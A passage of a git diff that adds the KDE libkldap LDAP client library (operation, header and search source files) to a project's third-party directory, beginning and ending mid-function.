+ for (LdapAttrMap::ConstIterator it = object.attributes().begin(); + it != object.attributes().end(); ++it) { + QString attr = it.key(); + for (LdapAttrValue::ConstIterator it2 = (*it).begin(); it2 != (*it).end(); ++it2) { + addModOp(&lmod, 0, attr, &(*it2)); + } + } + + int retval = + ldap_add_ext(ld, object.dn().toString().toUtf8().data(), lmod, serverctrls, + clientctrls, &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::add_s(const LdapObject &object) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + for (LdapAttrMap::ConstIterator it = object.attributes().begin(); + it != object.attributes().end(); ++it) { + QString attr = it.key(); + for (LdapAttrValue::ConstIterator it2 = (*it).begin(); it2 != (*it).end(); ++it2) { + addModOp(&lmod, 0, attr, &(*it2)); + } + } + + int retval = + ldap_add_ext_s(ld, object.dn().toString().toUtf8().data(), lmod, serverctrls, + clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + return retval; +} + +int LdapOperation::add(const LdapDN &dn, const ModOps &ops) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + int msgid; + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + for (int i = 0; i < ops.count(); ++i) { + for (int j = 0; j < ops[i].values.count(); ++j) { + addModOp(&lmod, 0, ops[i].attr, &ops[i].values[j]); + } + } + + int retval = + ldap_add_ext(ld, dn.toString().toUtf8().data(), lmod, serverctrls, + clientctrls, &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::add_s(const LdapDN &dn, const ModOps &ops) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + for (int i = 0; i < ops.count(); ++i) { + for (int j = 0; j < ops[i].values.count(); ++j) { + addModOp(&lmod, 0, ops[i].attr, &ops[i].values[j]); + } + } + qCDebug(LDAP_LOG) << dn.toString(); + int retval = + ldap_add_ext_s(ld, dn.toString().toUtf8().data(), lmod, serverctrls, + clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + return retval; +} + +int LdapOperation::rename(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + int msgid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int retval = ldap_rename(ld, dn.toString().toUtf8().data(), newRdn.toUtf8().data(), + newSuperior.isEmpty() ? (char *) nullptr : newSuperior.toUtf8().data(), + deleteold, serverctrls, clientctrls, &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::rename_s(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int retval = ldap_rename_s(ld, dn.toString().toUtf8().data(), newRdn.toUtf8().data(), + newSuperior.isEmpty() ? (char *) nullptr : newSuperior.toUtf8().data(), + deleteold, serverctrls, clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + return retval; +} + +int LdapOperation::del(const LdapDN &dn) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + int msgid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int retval = + ldap_delete_ext(ld, dn.toString().toUtf8().data(), serverctrls, clientctrls, &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::del_s(const LdapDN &dn) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int retval = ldap_delete_ext_s(ld, dn.toString().toUtf8().data(), serverctrls, clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + return retval; +} + +int LdapOperation::modify(const LdapDN &dn, const ModOps &ops) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *)d->mConnection->handle(); + + int msgid; + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + for (int i = 0; i < ops.count(); ++i) { + int mtype = 0; + switch (ops[i].type) { + case Mod_None: + mtype = 0; + break; + case Mod_Add: + mtype = LDAP_MOD_ADD; + break; + case Mod_Replace: + mtype = LDAP_MOD_REPLACE; + break; + case Mod_Del: + mtype = LDAP_MOD_DELETE; + break; + } + addModOp(&lmod, mtype, ops[i].attr, nullptr); + for (int j = 0; j < ops[i].values.count(); ++j) { + addModOp(&lmod, mtype, ops[i].attr, &ops[i].values[j]); + } + } + + int retval = + ldap_modify_ext(ld, dn.toString().toUtf8().data(), lmod, serverctrls, clientctrls, &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::modify_s(const LdapDN &dn, const ModOps &ops) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + for (int i = 0; i < ops.count(); ++i) { + int mtype = 0; + switch (ops[i].type) { + case Mod_None: + mtype = 0; + break; + case Mod_Add: + mtype = LDAP_MOD_ADD; + break; + case Mod_Replace: + mtype = LDAP_MOD_REPLACE; + break; + case Mod_Del: + mtype = LDAP_MOD_DELETE; + break; + } + addModOp(&lmod, mtype, ops[i].attr, nullptr); + for (int j = 0; j < ops[i].values.count(); ++j) { + addModOp(&lmod, mtype, ops[i].attr, &ops[i].values[j]); + } + } + + int retval = + ldap_modify_ext_s(ld, dn.toString().toUtf8().data(), lmod, serverctrls, clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + ldap_mods_free(lmod, 1); + return retval; +} + +int LdapOperation::compare(const LdapDN &dn, const QString &attr, const QByteArray &value) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + int msgid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int vallen = value.size(); + BerValue *berval; + berval = (BerValue *) malloc(sizeof(BerValue)); + berval -> bv_val = (char *) malloc(vallen); + berval -> bv_len = vallen; + memcpy(berval -> bv_val, value.data(), vallen); + + int retval = ldap_compare_ext(ld, dn.toString().toUtf8().data(), attr.toUtf8().data(), berval, + serverctrls, clientctrls, &msgid); + + ber_bvfree(berval); + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::compare_s(const LdapDN &dn, const QString &attr, const QByteArray &value) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int vallen = value.size(); + BerValue *berval; + berval = (BerValue *) malloc(sizeof(BerValue)); + berval -> bv_val = (char *) malloc(vallen); + berval -> bv_len = vallen; + memcpy(berval -> bv_val, value.data(), vallen); + + int retval = ldap_compare_ext_s(ld, dn.toString().toUtf8().data(), attr.toUtf8().data(), berval, + serverctrls, clientctrls); + + ber_bvfree(berval); + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + return retval; +} + +int LdapOperation::exop(const QString &oid, const QByteArray &data) +{ + Q_ASSERT(d->mConnection); +#if defined(HAVE_LDAP_EXTENDED_OPERATION) && defined(HAVE_LDAP_EXTENDED_OPERATION_PROTOTYPE) + LDAP *ld = (LDAP *) d->mConnection->handle(); + int msgid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int vallen = data.size(); + BerValue *berval; + berval = (BerValue *) malloc(sizeof(BerValue)); + berval -> bv_val = (char *) malloc(vallen); + berval -> bv_len = vallen; + memcpy(berval -> bv_val, data.data(), vallen); + + int retval = ldap_extended_operation(ld, oid.toUtf8().data(), berval, + serverctrls, clientctrls, &msgid); + + ber_bvfree(berval); + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + if (retval == 0) { + retval = msgid; + } + return retval; +#else + qCritical() << "Your LDAP client libraries don't support extended operations."; + return -1; +#endif +} + +int LdapOperation::exop_s(const QString &oid, const QByteArray &data) +{ +#if defined(HAVE_LDAP_EXTENDED_OPERATION) && defined(HAVE_LDAP_EXTENDED_OPERATION_PROTOTYPE) + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + BerValue *retdata; + char *retoid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int vallen = data.size(); + BerValue *berval; + berval = (BerValue *) malloc(sizeof(BerValue)); + berval -> bv_val = (char *) malloc(vallen); + berval -> bv_len = vallen; + memcpy(berval -> bv_val, data.data(), vallen); + + int retval = ldap_extended_operation_s(ld, oid.toUtf8().data(), berval, + serverctrls, clientctrls, &retoid, &retdata); + + ber_bvfree(berval); + ber_bvfree(retdata); + free(retoid); + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + return retval; +#else + qCritical() << "Your LDAP client libraries don't support extended operations."; + return -1; +#endif +} + +int LdapOperation::abandon(int id) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int retval = ldap_abandon_ext(ld, id, serverctrls, clientctrls); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + return retval; +} + +int LdapOperation::waitForResult(int id, int msecs) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + LDAPMessage *msg; + + QTime stopWatch; + stopWatch.start(); + int attempt(1); + int timeout(0); + + do { + // Calculate the timeout value to use and assign it to a timeval structure + // see man select (2) for details + timeout = kldap_timeout_value(msecs, stopWatch.elapsed()); + qCDebug(LDAP_LOG) << "(" << id << "," << msecs + << "): Waiting" << timeout + << "msecs for result. Attempt #" << attempt++; + struct timeval tv; + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + + // Wait for a result + int rescode = ldap_result(ld, id, 0, timeout < 0 ? nullptr : &tv, &msg); + if (rescode == -1) { + return -1; + } + // Act on the return code + if (rescode != 0) { + // Some kind of result is available for processing + return d->processResult(rescode, msg); + } + } while (msecs == -1 || stopWatch.elapsed() < msecs); + + return 0; //timeout +} + +#else + +int LdapOperation::bind(const QByteArray &creds, SASL_Callback_Proc *saslproc, void *data) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::bind_s(SASL_Callback_Proc *saslproc, void *data) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::search(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, const QStringList &attributes) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::add(const LdapObject &object) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::add_s(const LdapObject &object) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::add(const LdapDN &dn, const ModOps &ops) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::add_s(const LdapDN &dn, const ModOps &ops) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::rename(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::rename_s(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::del(const LdapDN &dn) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::del_s(const LdapDN &dn) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::modify(const LdapDN &dn, const ModOps &ops) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::modify_s(const LdapDN &dn, const ModOps &ops) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::compare(const LdapDN &dn, const QString &attr, const QByteArray &value) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::exop(const QString &oid, const QByteArray &data) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::compare_s(const LdapDN &dn, const QString &attr, const QByteArray &value) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::exop_s(const QString &oid, const QByteArray &data) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::waitForResult(int id, int msecs) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +int LdapOperation::abandon(int id) +{ + qCritical() << "LDAP support not compiled"; + return -1; +} + +#endif diff --git a/3rdparty/kldap/src/ldapoperation.h b/3rdparty/kldap/src/ldapoperation.h new file mode 100644 index 0000000..2620476 --- /dev/null +++ b/3rdparty/kldap/src/ldapoperation.h @@ -0,0 +1,300 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPOPERATION_H +#define KLDAP_LDAPOPERATION_H + +#include "kldap_export.h" +#include "ldapconnection.h" +#include "ldapcontrol.h" +#include "ldapobject.h" +#include "ldapdn.h" +#include "ldapserver.h" +#include "ldapurl.h" + +#include +#include +#include + +namespace KLDAP +{ + +/** + * @brief + * This class allows sending an ldap operation + * (search, rename, modify, delete, compare, exop) to an LDAP server. + */ +class KLDAP_EXPORT LdapOperation +{ +public: + typedef enum { + Mod_None, Mod_Add, Mod_Replace, Mod_Del + } ModType; + + typedef enum { + RES_BIND = 0x61, + RES_SEARCH_ENTRY = 0x64, + RES_SEARCH_REFERENCE = 0x73, + RES_SEARCH_RESULT = 0x65, + RES_MODIFY = 0x67, + RES_ADD = 0x69, + RES_DELETE = 0x69, + RES_MODDN = 0x6d, + RES_COMPARE = 0x6f, + RES_EXTENDED = 0x78, + RES_EXTENDED_PARTIAL = 0x79 + } ResultType; + + typedef struct { + ModType type; + QString attr; + QList values; + } ModOp ; + + typedef QVector ModOps; + + enum SASL_Fields { + SASL_Authname = 0x1, + SASL_Authzid = 0x2, + SASL_Realm = 0x4, + SASL_Password = 0x8 + }; + + struct SASL_Credentials { + int fields; + QString authname; + QString authzid; + QString realm; + QString password; + }; + + typedef int (SASL_Callback_Proc)(SASL_Credentials &cred, void *data); + + struct SASL_Data { + SASL_Callback_Proc *proc; + void *data; + SASL_Credentials creds; + }; + + LdapOperation(); + LdapOperation(LdapConnection &conn); + ~LdapOperation(); + + /** + * Sets the connection object. Without living connection object, + * LDAP operations are not possible. + * @param the connection object to set + */ + void setConnection(LdapConnection &conn); + /** + * Returns the connection object. + */ + LdapConnection &connection(); + /** + * Sets the client controls which will sent with each operation. + */ + void setClientControls(const LdapControls &ctrls); + /** + * Sets the server controls which will sent with each operation. + */ + void setServerControls(const LdapControls &ctrls); + /** + * Returns the client controls (which set by setClientControls()). + */ + Q_REQUIRED_RESULT LdapControls clientControls() const; + /** + * Returns the server controls (which set by setServerControls()). + */ + Q_REQUIRED_RESULT LdapControls serverControls() const; + + /** + * Binds to the server which specified in the connection object. + * Can do simple or SASL bind. Returns a message id if successful, negative value if not. + */ + Q_REQUIRED_RESULT int bind(const QByteArray &creds = QByteArray(), + SASL_Callback_Proc *saslproc = nullptr, void *data = nullptr); + + /** + * Binds to the server which specified in the connection object. + * Can do simple or SASL bind. This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + */ + Q_REQUIRED_RESULT int bind_s(SASL_Callback_Proc *saslproc = nullptr, void *data = nullptr); + + /** + * Starts a search operation with the given base DN, scope, filter and + * result attributes. Returns a message id if successful, -1 if not. + */ + Q_REQUIRED_RESULT int search(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, const QStringList &attrs); + /** + * Starts an addition operation. + * Returns a message id if successful, -1 if not. + * @param object the additional operation to start + */ + Q_REQUIRED_RESULT int add(const LdapObject &object); + /** + * Adds the specified object to the LDAP database. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + * @param object the object to add to LDAP database + */ + Q_REQUIRED_RESULT int add_s(const LdapObject &object); + /** + * Starts an addition operation. This version accepts ModOps not LdapObject. + * Returns a message id if successful, -1 if not. + * @param dn the LdapDN operation to start + * @param ops the ModOps operation to start + */ + Q_REQUIRED_RESULT int add(const LdapDN &dn, const ModOps &ops); + /** + * Adds the specified object to the LDAP database. This version accepts ModOps not LdapObject. + * This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + * @param dn the LdapDN object to add + * @param ops the ModOps object to add + */ + Q_REQUIRED_RESULT int add_s(const LdapDN &dn, const ModOps &ops); + /** + * Starts a modrdn operation on given DN, changing its RDN to newRdn, + * changing its parent to newSuperior (if it's not empty), and deletes + * the old dn if deleteold is true. + * Returns a message id if successful, -1 if not. + */ + Q_REQUIRED_RESULT int rename(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold = true); + /** + * Performs a modrdn operation on given DN, changing its RDN to newRdn, + * changing its parent to newSuperior (if it's not empty), and deletes + * the old dn if deleteold is true. This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + */ + Q_REQUIRED_RESULT int rename_s(const LdapDN &dn, const QString &newRdn, + const QString &newSuperior, bool deleteold = true); + /** + * Starts a delete operation on the given DN. + * Returns a message id if successful, -1 if not. + */ + Q_REQUIRED_RESULT int del(const LdapDN &dn); + /** + * Deletes the given DN. This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + * @param dn the dn to delete + */ + Q_REQUIRED_RESULT int del_s(const LdapDN &dn); + /** + * Starts a modify operation on the given DN. + * Returns a message id if successful, -1 if not. + * @param dn the DN to start modify operation on + */ + Q_REQUIRED_RESULT int modify(const LdapDN &dn, const ModOps &ops); + /** + * Performs a modify operation on the given DN. + * This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + */ + Q_REQUIRED_RESULT int modify_s(const LdapDN &dn, const ModOps &ops); + /** + * Starts a compare operation on the given DN, compares the specified + * attribute with the given value. + * Returns a message id if successful, -1 if not. + */ + Q_REQUIRED_RESULT int compare(const LdapDN &dn, const QString &attr, const QByteArray &value); + /** + * Performs a compare operation on the given DN, compares the specified + * attribute with the given value. This is the synchronous version. + * Returns KLDAP_COMPARE_TRUE if the entry contains the attribute value + * and KLDAP_COMPARE_FALSE if it does not. Otherwise, some error code + * is returned. + */ + Q_REQUIRED_RESULT int compare_s(const LdapDN &dn, const QString &attr, const QByteArray &value); + /** + * Starts an extended operation specified with oid and data. + * Returns a message id if successful, -1 if not. + */ + Q_REQUIRED_RESULT int exop(const QString &oid, const QByteArray &data); + /** + * Performs an extended operation specified with oid and data. + * This is the synchronous version. + * Returns KLDAP_SUCCESS id if successful, else an LDAP error code. + */ + Q_REQUIRED_RESULT int exop_s(const QString &oid, const QByteArray &data); + /** + * Abandons a long-running operation. Requires the message id. + */ + Q_REQUIRED_RESULT int abandon(int id); + /** + * Waits for up to \p msecs milliseconds for a result message from the LDAP + * server. If \p msecs is -1, then this function will block indefinitely. + * If \p msecs is 0, then this function will return immediately, that is it + * will perform a poll for a result message. + * + * Returns the type of the result LDAP message (RES_XXX constants). + * -1 if error occurred, 0 if the timeout value elapsed. Note! + * Return code -1 means that fetching the message resulted in error, + * not the LDAP operation error. Call connection().ldapErrorCode() to + * determine if the operation succeeded. + */ + Q_REQUIRED_RESULT int waitForResult(int id, int msecs = -1); + /** + * Returns the result object if result() returned RES_SEARCH_ENTRY. + */ + Q_REQUIRED_RESULT LdapObject object() const; + /** + * Returns the server controls from the returned ldap message (grabbed + * by result()). + */ + Q_REQUIRED_RESULT LdapControls controls() const; + /** + * Returns the OID of the extended operation response (result + * returned RES_EXTENDED). + */ + Q_REQUIRED_RESULT QByteArray extendedOid() const; + /** + * Returns the data from the extended operation response (result + * returned RES_EXTENDED). + */ + Q_REQUIRED_RESULT QByteArray extendedData() const; + /** + * The server might supply a matched DN string in the message indicating + * how much of a name in a request was recognized. This can be grabbed by + * matchedDn(). + */ + Q_REQUIRED_RESULT QString matchedDn() const; + /** + * This function returns the referral strings from the parsed message + * (if any). + */ + Q_REQUIRED_RESULT QList referrals() const; + /** + * Returns the server response for a bind request (result + * returned RES_BIND). + */ + Q_REQUIRED_RESULT QByteArray serverCred() const; + +private: + class LdapOperationPrivate; + LdapOperationPrivate *const d; + + Q_DISABLE_COPY(LdapOperation) +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapsearch.cpp b/3rdparty/kldap/src/ldapsearch.cpp new file mode 100644 index 0000000..fbcf6f7 --- /dev/null +++ b/3rdparty/kldap/src/ldapsearch.cpp @@ -0,0 +1,355 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapsearch.h" +#include "ldapdn.h" +#include "ldapdefs.h" + +#include + +#include "ldap_debug.h" +#include +using namespace KLDAP; + +//blocking the GUI for xxx milliseconds +#define LDAPSEARCH_BLOCKING_TIMEOUT 10 + +class LdapSearchPrivate +{ +public: + LdapSearchPrivate(LdapSearch *parent) + : mParent(parent), + mConn(nullptr) + { + } + + void result(); + bool connect(); + void closeConnection(); + bool startSearch(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, const QStringList &attributes, + int pagesize, int count); + + LdapSearch *mParent = nullptr; + LdapConnection *mConn = nullptr; + LdapOperation mOp; + bool mOwnConnection = false; + bool mAbandoned = false; + int mId; + int mPageSize; + LdapDN mBase; + QString mFilter; + QStringList mAttributes; + LdapUrl::Scope mScope; + + QString mErrorString; + int mError; + int mCount; + int mMaxCount; + bool mFinished = false; +}; + +void LdapSearchPrivate::result() +{ + if (mAbandoned) { + mOp.abandon(mId); + return; + } + int res = mOp.waitForResult(mId, LDAPSEARCH_BLOCKING_TIMEOUT); + + qCDebug(LDAP_LOG) << "LDAP result:" << res; + + if (res != 0 && + (res == -1 || + (mConn->ldapErrorCode() != KLDAP_SUCCESS && + mConn->ldapErrorCode() != KLDAP_SASL_BIND_IN_PROGRESS))) { + //error happened, but no timeout + mError = mConn->ldapErrorCode(); + mErrorString = mConn->ldapErrorString(); + Q_EMIT mParent->result(mParent); + return; + } + + //binding + if (res == LdapOperation::RES_BIND) { + + QByteArray servercc; + servercc = mOp.serverCred(); + + qCDebug(LDAP_LOG) << "LdapSearch RES_BIND"; + if (mConn->ldapErrorCode() == KLDAP_SUCCESS) { //bind succeeded + qCDebug(LDAP_LOG) << "bind succeeded"; + LdapControls savedctrls = mOp.serverControls(); + if (mPageSize) { + LdapControls ctrls = savedctrls; + LdapControl::insert(ctrls, LdapControl::createPageControl(mPageSize)); + mOp.setServerControls(ctrls); + } + + mId = mOp.search(mBase, mScope, mFilter, mAttributes); + mOp.setServerControls(savedctrls); + } else { //next bind step + qCDebug(LDAP_LOG) << "bind next step"; + mId = mOp.bind(servercc); + } + if (mId < 0) { + if (mId == KLDAP_SASL_ERROR) { + mError = mId; + mErrorString = mConn->saslErrorString(); + } else { + mError = mConn->ldapErrorCode(); + mErrorString = mConn->ldapErrorString(); + } + Q_EMIT mParent->result(mParent); + return; + } + QTimer::singleShot(0, mParent, [this]() { result(); }); + return; + } + + //End of entries + if (res == LdapOperation::RES_SEARCH_RESULT) { + if (mPageSize) { + QByteArray cookie; + int estsize = -1; + const int numberOfControls(mOp.controls().count()); + for (int i = 0; i < numberOfControls; ++i) { + estsize = mOp.controls().at(i).parsePageControl(cookie); + if (estsize != -1) { + break; + } + } + qCDebug(LDAP_LOG) << " estimated size:" << estsize; + if (estsize != -1 && !cookie.isEmpty()) { + LdapControls ctrls, savedctrls; + savedctrls = mOp.serverControls(); + ctrls = savedctrls; + LdapControl::insert(ctrls, LdapControl::createPageControl(mPageSize, cookie)); + mOp.setServerControls(ctrls); + mId = mOp.search(mBase, mScope, mFilter, mAttributes); + mOp.setServerControls(savedctrls); + if (mId == -1) { + mError = mConn->ldapErrorCode(); + mErrorString = mConn->ldapErrorString(); + Q_EMIT mParent->result(mParent); + return; + } + //continue with the next page + QTimer::singleShot(0, mParent, [this]() { result(); }); + return; + } + } + mFinished = true; + Q_EMIT mParent->result(mParent); + return; + } + + //Found an entry + if (res == LdapOperation::RES_SEARCH_ENTRY) { + Q_EMIT mParent->data(mParent, mOp.object()); + mCount++; + } + + //If not reached the requested entries, continue + if (mMaxCount <= 0 || mCount < mMaxCount) { + QTimer::singleShot(0, mParent, [this]() { result(); }); + } + //If reached the requested entries, indicate it + if (mMaxCount > 0 && mCount == mMaxCount) { + qCDebug(LDAP_LOG) << mCount << " entries reached"; + Q_EMIT mParent->result(mParent); + } +} + +bool LdapSearchPrivate::connect() +{ + int ret = mConn->connect(); + if (ret != KLDAP_SUCCESS) { + mError = ret; + mErrorString = mConn->connectionError(); + closeConnection(); + return false; + } + return true; +} + +void LdapSearchPrivate::closeConnection() +{ + if (mOwnConnection && mConn) { + delete mConn; + mConn = nullptr; + } +} + +//This starts the real job +bool LdapSearchPrivate::startSearch(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, + const QStringList &attributes, int pagesize, int count) +{ + qCDebug(LDAP_LOG) << "search: base=" << base.toString() << "scope=" << static_cast(scope) + << "filter=" << filter << "attributes=" << attributes + << "pagesize=" << pagesize; + mAbandoned = false; + mError = 0; + mErrorString.clear(); + mOp.setConnection(*mConn); + mPageSize = pagesize; + mBase = base; + mScope = scope; + mFilter = filter; + mAttributes = attributes; + mMaxCount = count; + mCount = 0; + mFinished = false; + + LdapControls savedctrls = mOp.serverControls(); + if (pagesize) { + LdapControls ctrls = savedctrls; + mConn->setOption(0x0008, nullptr); // Disable referals or paging won't work + LdapControl::insert(ctrls, LdapControl::createPageControl(pagesize)); + mOp.setServerControls(ctrls); + } + + mId = mOp.bind(); + if (mId < 0) { + if (mId == KLDAP_SASL_ERROR) { + mError = mId; + mErrorString = mConn->saslErrorString(); + } else { + mError = mConn->ldapErrorCode(); + mErrorString = mConn->ldapErrorString(); + if (mError == -1 && mErrorString.isEmpty()) { + mErrorString = i18n("Cannot access to server. Please reconfigure it."); + } + } + return false; + } + qCDebug(LDAP_LOG) << "startSearch msg id=" << mId; + + //maybe do this with threads?- need thread-safe client libs!!! + QTimer::singleShot(0, mParent, [this]() { result(); }); + + return true; +} + +/////////////////////////////////////////////// + +LdapSearch::LdapSearch() + : d(new LdapSearchPrivate(this)) +{ + d->mOwnConnection = true; + d->mConn = nullptr; +} + +LdapSearch::LdapSearch(LdapConnection &connection) + : d(new LdapSearchPrivate(this)) +{ + d->mOwnConnection = false; + d->mConn = &connection; +} + +LdapSearch::~LdapSearch() +{ + d->closeConnection(); 